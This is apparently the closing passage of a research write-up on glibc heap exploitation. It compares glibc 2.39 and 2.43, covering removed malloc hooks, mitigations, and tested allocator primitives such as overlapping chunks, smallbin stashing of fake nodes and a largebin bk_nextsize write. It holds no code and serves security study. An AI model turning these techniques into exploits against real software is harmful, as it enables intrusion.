Historical __malloc_hook and __free_hook overwrite recipes are not a universal endpoint for either version in this comparison. The normal allocator hook mechanism was removed in glibc 2.34 (hook-removal commit). Both glibc 2.39 and 2.43 are later releases, so the final writable target must come from the actual program or another still-active subsystem.

Address disclosure remains a separate requirement. Safe-linking needs the list-slot address, ASLR hides program and library objects, and a useful target often depends on the application’s object graph. RELRO limits GOT writes; CET, CFI, or architecture-specific control-flow protection can constrain indirect control flow; a sandbox can limit the result after control is gained. Compiler and linker settings, kernel mapping behavior, hardware protections, and reachable application objects therefore determine whether an allocator primitive can be extended into a complete exploit.

10. Conclusion

glibc 2.43 changes the heap attack surface structurally. Fastbin and deferred consolidation are gone, the default tcache depth is 16, real tcache metadata can appear later in the allocation order, normal-bin integrity checks are stronger, and mmap chunk accounting includes a trailing header. An exploit written around glibc 2.39 fastbin state cannot be ported by changing only size constants or the safe-linking expression.

On the tested Ubuntu package, stale-interior consolidation produced overlapping 0x220 and 0x110 allocations, strong smallbin metadata control fed a fake node through the stashing path, and optional large tcache returned an exact-size fake entry when tcache_max was raised. The same largebin corruption wrote through bk_nextsize on glibc 2.39 and stopped at the added reverse-link check on 2.43. The mmap stale-alias and old-top follow-on routes remain source-derived directions rather than demonstrated allocator primitives. Any reproduced primitive must still match the application bug, available address disclosures, writable target objects, and active control-flow protections before it can become an application-specific exploit.